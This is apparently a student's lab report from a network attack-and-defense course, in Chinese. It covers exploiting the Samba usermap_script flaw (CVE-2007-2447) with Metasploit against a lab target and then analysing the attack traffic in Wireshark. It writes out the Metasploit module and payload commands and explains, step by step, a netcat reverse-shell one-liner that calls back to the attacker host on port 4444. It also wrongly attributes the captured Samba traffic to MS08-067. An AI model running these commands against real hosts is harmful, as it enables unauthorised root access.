20251905 2025-2026-2 《网络攻防实践》实验七

20251905 2025-2026-2 《网络攻防实践》实践七报告

1. 实践内容

1.1基础知识

Samba 服务漏洞原理 (CVE-2007-2447)

本次实验针对 Linux 靶机进行渗透,主要利用了 Samba 服务的 usermap_script 漏洞(CVE-2007-2447)。Samba 是用于在 Linux 和 Windows 之间共享文件的服务。该漏洞存在于 Samba 3.0.20 到 3.0.25rc3 版本中。当 Samba 的配置文件 smb.conf 中开启了非默认的 username map script 选项时,攻击者可以通过提供包含 shell 元字符的特殊用户名(如反引号 ```),在协议协商阶段将恶意命令注入到目标服务器并以 root 权限执行。

Linux 反向 Shell Payload

在漏洞利用中,Payload 的选择决定了攻击成功后的行为。本次实验使用了 cmd/unix/reverse_netcat,即通过 Netcat 工具建立反向 Shell。与实验六类似,受害主机会主动向攻击机的指定端口发起连接。这种方式在 Linux 渗透中非常有效,因为它直接利用了类 Unix 系统中常见的内建工具(如 ncmkfifo/bin/sh)来重定向标准输入和输出,从而实现远程命令执行。

2.实践过程

(1)使用Metasploit进行Linux远程渗透攻击

首先启动msfconsole

image-20260427142057489

根据要求,使用exploit/multi/samba/usermap_script渗透攻击模块;

use exploit/multi/samba/usermap_script

设置payload为nc反弹shell set payload cmd/unix/reverse_netcat

设置rhost set rhost 202.51.90.123

image-20260427144636195

攻击成功后使用whoami查看当前用户,确定当前权限为root权限

image-20260427144758889

(2)实践作业:攻防对抗实践

首先nmap -sV 202.51.90.123扫描靶机开启的服务,确定有什么漏洞。

image-20260506170315450

欸,我们看到139/445开启了一个版本很老的samba

于是在msfconsole中search samba,看看有没有可以利用的exp。

image-20260506170541924

有很多,我们用第15个exp。

同样设置payload和rhost

image-20260508125006264

进行攻击,但攻击过程被wireshark截获了。可以分析出攻击者的IP:202.51.90.66、目标IP:202.51.90.123和端口:139image-20260508134248796

image-20260508125549379

whoami查看当前用户,发现也不需要提权,直接就是root

image-20260508125209182

cat /etc/passwd试试,查看其他用户

image-20260427144857416

在wireshark中进行流量分析,能看到攻击后攻击者在命令行输入的信息

image-20260508125707248

image-20260508130506666

根据流量中出现的如LANMAN1.0、NT LM 0.12以及 SMB 协议交互等关键特征 ,该攻击极大概率利用的是 MS08-067 (CVE-2008-4250)。

在流量的最下方,可以看到一段明文形式的命令,这是溢出成功后执行的 Shellcode)。

这段代码是一个典型的 反向 Shell,其代码逻辑如下: nohup mkfifo /tmp/mbkdxuu; nc 202.51.90.66 4444 0</tmp/mbkdxuu | /bin/sh >/tmp/mbkdxuu 2>&1; rm /tmp/mbkdxuu

  1. mkfifo /tmp/mbkdxuu:在本地创建一个命名管道(FIFO)。
  2. nc 202.51.90.66 4444:使用 Netcat 连接攻击者的 IP (202.51.90.66) 和端口 (4444)。
  3. 0</tmp/mbkdxuu | /bin/sh >/tmp/mbkdxuu 2>&1
    • 将命名管道的内容作为 /bin/sh(Shell)的输入。
    • 将 Shell 的标准输出和错误输出重定向回命名管道。
    • 通过 Netcat 将管道内的数据传输给攻击者。
  4. nohup:确保命令在后台持续运行,即使终端关闭也不停止。
  5. rm /tmp/mbkdxuu:任务执行完成后删除临时管道文件,掩盖痕迹。

3.遇到的问题与解决方案

4. 实践总结

本次实验通过利用 Samba 服务的配置文件缺陷(CVE-2007-2447),实现了对 Linux 靶机的远程渗透并直接获取了 root 权限,这让我深刻认识到跨平台服务配置审计与版本更新对保障系统安全的重要性。在防守取证环节,我深入分析 TCP 流量的应用层载荷后,最终提取出了利用 Linux 系统原生工具(如 ncmkfifo/bin/sh)构建的反向 Shell 恶意载荷;这表明网络审计不能仅凭表层协议头,而必须深入分析数据内容,同时防守方应通过限制高危端口外网访问、部署深度包检测系统等手段进行多维度的纵深防御。

posted @ 2026-05-08 13:56  安和_零樂  阅读(17)  评论(0)    收藏  举报